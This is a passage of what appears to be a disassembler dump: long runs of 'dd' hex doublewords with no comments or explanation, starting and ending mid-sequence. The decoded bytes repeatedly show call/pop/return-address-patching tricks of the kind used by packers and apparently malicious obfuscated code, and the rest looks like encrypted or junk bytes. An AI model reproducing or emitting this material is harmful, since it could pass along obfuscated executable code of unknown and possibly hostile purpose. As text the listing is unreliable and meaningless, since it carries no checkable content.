3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 8C35343h, 5BE78128h, 0FF128CC5h, 1F1CED95h dd 0FEE906h, 0BD8B0000h, 61F1101h, 816600B0h, 0E6E07CCBh dd 0F606070h, 8Ah, 0FE900h, 80B0000h, 0AE8E35E8h, 0AB95207Dh dd 0B7C6C35Fh, 0F38B61D2h, 6071E461h, 2C71BD8Bh, 0F281061Fh dd 3D0B608Fh, 0F613C61h, 0B783h, 81958900h, 0F061F11h dd 9D89C8B6h, 61F0FA5h, 6BAh, 98D8900h, 8B061F15h, 1D9531C1h dd 89061F17h, 1F071D95h, 4E8C106h, 8BE2F766h, 33C82BFBh dd 1F303DBDh, 0FD18B06h, 75E9FABFh, 8B000000h, 1F08D59Dh dd 50858B06h, 8947554Ch, 1F14E98Dh, 7C08306h, 0C437D381h dd 0C0830E2Ah, 4D9D8900h, 3B061F27h, 12830FD0h, 81000000h dd 1B5F0E3h, 3EE966h, 33F90000h, 1F0A0DBDh, 0FF8D8B06h dd 66FFFFFFh, 0A69F381h, 0F01E183h, 2384h, 219D3300h, 8A061F2Fh dd 0FFA583DCh, 0FEFFFFFFh, 89DA8B66h, 554C5095h, 0F9BD8B47h dd 0E9061F13h, 0 dd 7B8EB58Dh, 8B600623h, 61EC8AD9h, 9D01006Ah, 61F15ADh dd 1D4595FFh, 0BF0F061Fh, 59D33FFh, 0B9061F08h, 0F95h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 29C35343h dd 58D0E6F1h, 66E2DB14h, 8373C9BFh, 6AFCE1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 93060DC3h dd 0AFD03369h, 0FCF38CF1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0C3C35141h, 7DBEA455h, 0B9BD8Bh, 0C02B061Fh dd 2DA59D89h, 0D22B061Fh, 6800Fh, 0D7810000h, 7C671518h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 23119D89h, 6A061Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 4D3EB5C3h, 0C3D68D7Eh, 890F7D2Fh, 0Ch, 6850Fh, 8D890000h dd 61F2061h, 622BB66h, 880Dh, 0BD89F800h, 61F242Dh, 0B5D958Bh dd 0CB81061Fh, 5FCE2AE8h, 20C58D8Bh, 6A061Fh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 60AB67C3h dd 30C5BD89h, 870F061Fh, 6, 2FD9D01h, 5061061Fh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0FDC48519h dd 8B05A880h, 1F3019BDh, 50FE8B06h, 5B19D89h, 835F061Fh dd 1F078DBDh, 840F0006h, 62h, 0B8h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 90939FCCh dd 0B08D8D64h, 0E9061F4Dh, 6, 8FDDC84Ch, 0E1FF8BD0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 70C35242h, 3F4D3947h dd 0EB906041h, 66DBBF0Fh, 0BD83DF8Bh, 61F137Dh, 0D0840F00h dd 31000003h, 1F2EFD95h, 7DBD8306h, 1061F13h, 3D8840Fh dd 89570000h, 1F2BE9BDh, 0BD835F06h, 61F137Dh, 8D860F03h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0FF5CC356h, 0D781664Ch, 0EB817763h dd 4C16A809h, 830F5260h, 6, 8C0Fh, 665B0000h, 6AD98Ch dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9589A3C3h, 61F2E75h, 8104E180h, 3CA449E7h, 0FC90A7Fh dd 13F84h, 31950100h, 8B061F12h, 1F0DC185h, 68F0F06h, 9000000h dd 1F32E5BDh, 0C9853306h, 57061F2Eh, 2F058589h, 905B061Fh dd 0EE9h, 74422D00h, 0FA330B23h, 0ACF63B33h, 501ABFE2h dd 90F98B66h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0C3E5CBC3h, 0F53B0884h, 0B6D0BF66h dd 4E8h, 1F03FF00h, 8E800h, 35590000h, 0E0E1B1C5h, 505B0B03h dd 0EF0FBF66h, 424448Bh, 178F0Fh, 12E90000h, 0D5000000h dd 7A46CD5Fh, 0A36E7519h, 33712E7Bh, 0FC4DFF8h, 66008BA0h dd 89C4E2BBh, 0E9042444h, 5, 13BD1810h, 6A5878h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0B0B03AC3h, 48211216h, 830Fh, 95FF0000h, 61F2DE1h, 0A899509h dd 0BE9061Fh, 4E000000h, 9E318BB2h, 9E3FA434h, 8589F0FAh dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0C7C35545h, 10E9h, 64EE9E00h, 0A98A4406h, 7E0D017Dh dd 8153E4Dh, 17BE9C2h, 0BD310000h, 61F0F55h, 0B24D858Bh dd 0BF0F0622h, 1800C7D9h, 0B7000000h, 51B58BF9h, 6A0622B2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 954AC355h, 996FB8Dh, 13A1858Bh, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C71C48C3h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 82D6AAC3h, 13E9B6h, 0A02A0000h dd 0BCEE264Ah, 0ED1942B0h, 9BEC8CDCh, 0DDC776B2h, 0C1858B64h dd 6A061F0Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 3240C351h, 0AC087F8Fh, 89DE920Ch dd 0B5890446h, 61F1345h, 0FA8B6650h, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9C1FC357h, 0B40BC63Fh, 0FCED4122h, 0B24DB5FFh, 0B5890622h dd 61F0801h, 38F0Fh, 8B660000h, 145268FEh, 72B33FEDh, 0AD243481h dd 6A3FF217h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0AFBEC353h, 8B73687Fh, 1F0E85BDh dd 55858D06h, 8B0622B2h, 0BF6690D8h, 0E9505A52h, 11h, 23C96C8Ch dd 997B04CEh, 38F98E46h, 680445E8h, 0F60909Eh, 48Fh, 0EEBE6600h dd 95FF61DDh, 61F2DE1h, 6A61F5h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 95C45DC3h, 26799D8Bh dd 85C7061Fh, 61F137Dh, 3, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 67C35040h, 219D8951h, 5B061F20h, 0B255BD83h dd 0F000622h, 0B84h, 0ED9D0B00h, 0E9061F2Fh, 1Bh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0E9C08B00h, 9, 0E6A2BA88h dd 3B3BA683h, 8166603Eh, 89B314C0h, 1F12C58Dh, 0BD836106h dd 61F137Dh, 52850F03h, 56000004h, 1D0D9D0Bh, 835F061Fh dd 22B255BDh, 840F0006h, 43Dh, 8B3EDF81h, 0A9BF68BBh, 0FF0313D3h dd 22B255B5h, 0BE906h, 88CF0000h, 0A84299AFh, 4551F4B7h dd 898D89E3h, 0FF061F1Dh, 1F1BC995h, 9D8B5106h, 61F02FDh dd 49B58B5Fh, 330622B2h, 1F14A5BDh, 106C706h, 2B000100h dd 1F07D9BDh, 66609606h, 0F57F28Bh, 8Bh, 50615F00h, 4C6CC2BBh dd 8950962Ah, 1F1565BDh, 0B5FF5B06h, 622B255h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E3C35040h, 95FFD98Ah dd 61F1621h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 58C35040h, 24734ED9h, 0CCB2C91Dh, 49B58B0Dh, 890622B2h dd 1F0D65B5h, 0F1858B06h, 6A061F2Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8DEC352h dd 8B2F158Fh, 1F0FB5BDh, 0D88B6606h, 0C48689h, 9D310000h dd 61F1C45h, 0B5D958Bh, 8D89061Fh, 61F231Dh, 6A04C283h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8977C357h, 0B70F2050h, 97858DF9h, 0F0622C7h dd 8689FEBFh, 0B8h, 6E860h, 6F300000h, 2FD7FE79h, 1CF1B589h dd 0B5F061Fh, 1F208DB5h, 6A6106h, 0EE8h, 0EE6E4600h, 986D7434h dd 0D1A80CA2h, 0E96C50C3h, 14h, 4103F6C8h, 16F994FCh, 0EECFACD9h dd 2C3D054Bh, 3C01AA20h, 55B5FF5Bh, 0E90622B2h, 12h, 0B1BAC186h dd 17AE88C8h, 0A5AC8F69h, 0CD9FE6F6h, 95FF5306h, 61F2F55h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AC35747h dd 61BD2BC5h, 60061F02h, 1181B529h, 6660061Fh, 61F5F98Bh dd 8C0F5061h, 0 aI4J db '‰4$j',0 db 55h, 0E8h, 3 dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 5038C355h, 28B0Fh, 5F510000h, 55B5FF5Bh, 6A0622B2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0FABCC351h, 1E870F46h, 0E8000000h, 12h, 81E1E08Fh dd 127FD9DBh, 3044D4D0h, 2559C328h, 858995EFh, 61F1A5Dh dd 1D95FF5Bh, 8B061F0Eh, 1F326D9Dh, 0DBD8306h, 61F2Ch dd 44840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0C1412EC3h, 3EE04623h, 50C89BB2h dd 0BE605250h, 72BD5ACh, 310F5250h, 0F61585Ah, 5AFE8A31h dd 24348958h, 0E6D9D8Bh, 0B5FF061Fh, 622B255h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h, 0FED703Eh dd 686h, 0B9B58900h, 0FF061F1Fh, 1F134995h, 659D8906h dd 0FF061F1Dh, 22B255B5h, 7B96006h, 0F0CD99Ah, 688h, 820F00h dd 61000000h, 107595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 1F769AC3h, 0E063E4Ch dd 14E84Bh, 0AD300000h, 12566BF5h, 75C5B161h, 21276C42h dd 9D9627CBh, 8D293284h, 61F1FFDh, 13E95Fh, 816B0000h dd 0C1D2703Dh, 0A7A7EB4Eh, 6BC24C23h, 7A41D9F5h, 9BD835Ah dd 2061F00h, 98840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 2F22A2C3h, 8BF85582h dd 1F175185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0EE899h, 127F0000h, 3044D4D0h, 2559C328h dd 6E5095EFh, 0C65BFB8Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 1C44C0C3h, 11E8BEE3h dd 3B000000h, 0E522D59h, 87AD1ADFh, 0D650C75h, 111E629Ah dd 88DB2FBBh, 85C75B7Ah, 61F1291h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 47C35040h dd 8B1A21F4h, 93BB66FAh, 0F415E961h, 8960FFFFh, 1F240D85h dd 61DE8B06h, 68D0Fh, 9D8B0000h, 61F1A0Dh, 6AC18Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0D07E66C3h, 198D89C0h, 8D061F0Bh, 1F19BD85h, 358D3106h dd 8B061F23h, 1F32D59Dh, 5BBB5006h, 896C38D5h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 6AB7C3h, 0BE9h, 57FC4A00h, 1525DF5Fh, 0F9614A0Dh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 5A7035C3h, 0FAD0B85Fh, 8BFA8B66h, 0D3858DDAh, 6A062409h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 5754C351h, 3EB178E7h, 9D8B7091h, 61F1EA9h dd 48A0BB66h, 0BB05C083h, 5AF8CC10h, 13E850h, 1DB30000h dd 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 2820F1Ch dd 8B000000h, 4895BFAh, 13E924h, 0F7EB0000h, 9772F3C6h dd 0C607366Ah, 6A77C683h, 0D1091416h, 6A006A32h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F5956D0h, 0BD03DFB7h, 61F16E9h, 2EA5BD8Bh, 95FF061Fh dd 61F0161h, 5870Fh, 86BB0000h, 8D074F40h, 22B1F28Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0BE1DA3F8h, 8895D7B4h, 0BB66D1FFh, 8F0F65B9h, 6, 0DE59D8Bh dd 0BD83061Fh, 61F0EF5h, 88850F01h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2C7DC357h, 8614D560h, 6A30B0BAh, 7E902h, 0A7270000h dd 387302A3h, 52509052h, 52505250h, 585A310Fh, 7FB3310Fh dd 310F585Ah, 585AACB3h, 33609050h, 1F1709BDh, 79958906h dd 61061F13h, 95952960h, 61061F2Dh, 2F5595FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 2D08B6C3h, 0E92CF380h, 0EB0h, 0E8h, 0ED815D00h, 62409DDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h dd 8D508A35h, 3BB9AA08h, 0C4BE60F5h, 6139CE4Dh, 8EE4858Dh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0DEE3FCC3h, 0F98B6650h, 8B240489h, 1F0BB9BDh dd 35FF6406h, 0 dd 2BCDBD89h, 8964061Fh, 25h, 0FE900h, 0C2A10000h, 0C15CDA2Eh dd 81B6EF30h, 28D89BA2h, 2985FF3Bh, 6A061F10h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 75C0C351h, 0DB2A7BDFh, 0FF6AC428h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 64C35646h, 5B5FFF8h, 8B061F01h dd 0ED95FFF8h, 0E9061F1Ch, 10Ah, 2A51B589h, 0B0061Fh, 0FE9h dd 213A2F00h, 426043E0h, 79F2CC69h, 92CE099Bh, 0BD8B70E6h dd 61F1449h, 43BB71E4h, 3C4C37DBh, 0D7830F61h, 8B000000h dd 0C8B60FFAh, 0BAFB8B66h, 6, 2FDB531h, 9D8B061Fh, 61F2AB9h dd 0BD8BC18Bh, 61F1181h, 8904E8C1h, 1F0AD1B5h, 0E2F76606h dd 0C82BD88Bh, 7956F781h, 0D18B75C3h, 97E906B3h, 0E8000000h dd 10h, 15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 0F8B70F52h dd 858B5F5Fh, 44004E49h, 2EB59589h, 0C083061Fh, 76EF8107h dd 837EF266h, 830F00C0h, 6, 2C9DBD8Bh, 0D03B061Fh, 0B830Fh dd 8B660000h, 48E9D8h, 8B660000h, 0FF8D8BFBh, 0E8FFFFFFh dd 0Dh, 31FBE60Ah, 7BA155EEh, 0C34E6944h, 0FBB70F67h, 1E1835Fh dd 20840Fh, 0BD0B0000h, 61F18D1h, 0FFFFA583h, 0FFEFFFFh dd 9589FEBFh, 44004E49h, 10EB8166h, 0E99Dh, 0B58D0000h dd 6238B23h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0C0C35646h, 0F5BFC366h, 0BD8BA705h, 61F1CE9h, 2B09BD8Bh dd 6A061Fh, 68E0Fh, 85890000h, 61F110Dh, 1D4595FFh, 6A061Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 9E8AE3C3h, 0D8B91C5Fh, 0E900000Fh, 13h, 56411DECh, 11825318h dd 3ECFFC22h, 0C74B40A7h, 8359B4D8h, 0DD8AFCE1h, 50006AFCh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 357FB21Ah, 0F54BD0Bh, 386h, 0F9BF0F00h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 5EBA8C62h, 1A553150h, 4DB501ABh, 2B061F1Fh, 53006AD2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 2D6C7037h, 6CBDAC7h, 8B663331h, 0C233ADDFh, 0D003E8D1h dd 7504E983h, 0B70F60F4h, 698D8BDAh, 61061F0Ah, 8E8h, 419CB00h dd 82363FCCh, 0E95BF956h, 12h, 0DFE0AD7Dh, 0D45533BCh dd 0C25428CBh, 9CDD2FA3h, 880D9375h, 0F000000h, 1D8Fh dd 178B0F00h, 0E8000000h, 11h, 0B9F20C8Ch, 0F60676B3h dd 7C02E281h, 0CA881FCh, 958B5FAEh, 61F0B5Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8FC35545h, 0DB81661Eh dd 0E9570614h, 7, 0A385FEB7h, 5BA0D618h, 20C58D8Bh, 8166061Fh dd 50EB8DD3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 619D8B58h, 6A061F00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0A248C350h, 8E0FF5DCh dd 19h, 14E9h, 72BE3300h, 4D0A2F4h, 0A996795h, 0A7A149DDh dd 2E789ECDh, 8DBD8390h, 61F07h, 9B840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0E78201C3h, 0DB99C63Dh, 7E9h, 1FAEC000h, 0F660B734h dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E907D0BBh, 12h, 0B06FB12Bh, 0BAB73E5Fh dd 0C121FD57h, 685D3A03h, 8D8DAF61h, 61F4DB0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 52C35545h, 899230EEh dd 1F32958Dh, 89E1FF06h, 1F0CF99Dh, 7DBD8306h, 61F13h dd 4AE840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0BF463DC3h, 3F28E3E5h, 0BD835B50h dd 61F137Dh, 98840F01h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EEAC350h dd 0BD9910A7h, 12E8AAh, 0AD340000h, 40F4E831h, 993B2CDEh dd 60319586h, 803960A0h, 0FE9h, 982E3000h, 0D7838DADh dd 23877BDAh, 45C9766Ch, 1860F5Fh, 0F9000000h, 137DBD83h dd 0F03061Fh, 40086h, 1D853100h, 66061F17h, 4BE8D381h dd 0FAB70F60h, 0F8D98C66h, 0E904E180h, 9, 7A93297Bh, 7D0B75A4h dd 0FC90ABBh, 16584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 35381C0Bh, 41BD8BDEh dd 0BF061F14h, 42C7020Ch, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E576A0C3h dd 0F1B70F60h, 1709952Bh, 3361061Fh, 1F2EC985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 2D2DA2EBh, 0A943F7DEh, 81666324h, 0FA43ADFh, 0E990FABFh dd 0Eh, 6AE2D934h, 71941453h, 259E70B9h, 8A50AAAEh, 8F0F90D9h dd 6, 0D177DB81h, 6A0609h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0ADC35040h, 9E9F994h, 59000000h, 3488FE70h dd 0C55664FEh, 6834EF80h, 4EC16B9Ch, 0EE8h, 3E81FA00h dd 80272561h, 432EFDB2h, 8BEE1A56h, 34815FDEh, 0DE686324h dd 12E9604Eh, 4A000000h, 2499F961h, 5B73FD3h, 99EECE1h dd 9409110Bh, 61CA8A94h, 2DE195FFh, 9D8B061Fh, 61F1ED1h dd 0B2558589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0C27DF0C3h, 0FC6D9072h, 9D0B2E00h dd 61F0FB9h, 1D1E9h, 2E40BF00h, 858B255Ah, 622B24Dh, 19598589h dd 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 4EC35343h, 7286488h, 0ACE6C558h, 68E0Fh, 9D890000h dd 61F0325h, 0B251B58Bh, 33B30622h, 13A1858Bh, 0AABF061Fh dd 89771A60h, 0DE906h, 89EB0000h, 35F770C8h, 0D607C693h dd 8B3818A5h, 1F0DC185h, 8D895006h, 61F20A9h, 446895Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DC35646h dd 0D4BF5C38h, 8A0F5015h, 2, 505B6160h, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9BC357h, 0FFA18357h, 22B24DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 69A05F52h dd 0F57E0572h, 55BD8B7Eh, 68061F1Bh, 8E4A0E6Dh, 11E960h dd 0C06D0000h, 96D125A3h, 0BA6D6E97h, 0FCE65555h, 619C57D3h dd 92240481h, 6A71D4F5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 421DC355h, 0E8577F04h dd 83D9589h, 858D061Fh, 622B255h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 33C35141h, 0FB8B90D0h, 2890F50h dd 8B000000h, 958990F9h, 61F2399h, 0EE8h, 7967B500h, 34EE6E46h dd 0A2986D74h, 5FD1A80Ch, 2DE195FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E88D6EC3h, 10h, 0FB0EF61Dh, 812B6D59h, 5419BBFDh, 0EE3AC4Dh dd 28D38166h, 3615B85h, 1F1A799Dh, 7D85C706h, 3061F13h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0E82CC355h, 36F3CA69h, 16E4345Eh dd 96579FBBh, 55BD831Ch, 622B2h, 5B840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A764D5C3h, 0B589CF16h, 61F30BDh, 1BED8D89h, 45E9061Fh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0CFC5C350h, 8D6F4461h, 89F98B66h dd 1F2E1D9Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0EEC35545h, 6A8D1Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AF6D55C3h dd 5B79BB66h, 1890Fh, 83FC0000h, 1F137DBDh, 850F0306h dd 48Ah, 0B255BD83h, 0F000622h, 47D84h, 0FFFFB300h, 22B255B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 5A4F764Ah, 25925D14h, 0FAE7816Ah, 0FF4979CFh dd 1F1BC995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0B58BD652h, 622B249h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 87C35747h, 0AE98Bh dd 76170000h, 0EA95A952h, 6AA6809Bh, 5EC3EF81h, 6C73C8Ah dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0BEC35242h, 0F2494C20h, 96ADBED4h, 1A850Fh, 830F0000h dd 14h, 0FE9h, 0FB9CBB00h, 0A35C5CE7h, 76C22E1h, 0A8844ECh dd 12E950h, 37240000h, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h dd 30EFDA33h, 5DC78196h, 0FF107638h, 22B255B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0BF28ACE4h, 12E900h, 45150000h, 286D446Fh, 3543A3F6h dd 4AF9E0F7h, 63C6555h, 162195FFh, 6A061Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 198F7CC3h dd 8B76D9B0h, 22B249B5h, 5820F06h, 66000000h, 1A8EDB81h dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 26968EC3h, 13E9E2h, 5B090000h, 99E32D10h dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4868940h, 0F000000h dd 281h, 8BDC8A00h, 1F0B5D95h, 8D895706h, 61F080Dh, 4C2835Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8AC35646h dd 0C936E454h, 8564C305h, 0BB6651A1h, 895FF12Dh, 0BD8B2050h dd 61F15A9h, 0C797858Dh, 0BD0B0622h, 61F0F05h, 0B88689h dd 95290000h, 61F2B85h, 7E9006Ah, 0DA000000h, 8F30A108h dd 0B5FF5D8Dh, 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 4CC35545h, 85BD29C8h, 0FF061F2Bh, 1F2F5595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0D380EA46h, 0F5096DCh, 48Eh, 0F5BB6600h dd 6A966Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0B50EE8C3h, 0F1248726h, 0E983019Bh, 14h dd 0AE0F928Fh, 56411DECh, 11825318h, 3ECFFC22h, 0C74B40A7h dd 0B255B5FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 66F143C3h, 8B67C5BBh, 1F2DE9BDh dd 1D95FF06h, 6A061F0Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0F3BAC350h, 71C02BA6h dd 2C0DBD83h, 0F00061Fh, 3C84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 2D952989h dd 31061F02h, 1F19C19Dh, 0BF669606h, 605049BFh, 0AAFB90B9h dd 89966139h, 1F074D8Dh, 55B5FF06h, 6A0622B2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 10AAC352h, 118BD202h, 2BA19D8Bh, 95FF061Fh, 61F1349h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0EEC35242h dd 81889AF3h, 7039E3CFh, 859D0B0Fh, 0FF061F2Dh, 22B255B5h dd 0FE806h, 0DE620000h, 0ACFA62DEh, 22F2B766h, 0A5ED581Fh dd 2830F6Dh, 0B3000000h, 95FF5BEAh, 61F1075h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h, 13A17D09h dd 83321F7Ch, 1F0009BDh, 840F0206h, 5Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 66C35242h, 0E863FBA8h dd 6, 0D6E5742Ch, 8DBF26ABh, 5F4F94F9h, 8BFBB70Fh, 1F175185h dd 859D8B06h, 0C6061F07h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 85C784C3h, 61F1291h dd 0 dd 2EFD9589h, 3BE9061Fh, 0B7FFFFF2h, 41BD8BE4h, 8B061F1Dh dd 68B0FC1h, 8B000000h, 1F24259Dh, 14E95606h, 79000000h dd 1609D34Eh, 0E4812029h, 76E3D48Dh, 884CB1F6h, 5BEBCD22h dd 19BD858Dh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 72C8ABC3h, 5C18F9AEh, 12859D8Bh dd 6650061Fh, 8996BCBBh, 0BD232404h, 61F1F25h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 9C6712C3h, 77DB67E7h, 6A2F69h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 30C35242h, 6382657Bh, 40858DD6h dd 8906241Ah, 1F2BFD9Dh, 5C08306h, 0E851006Ah, 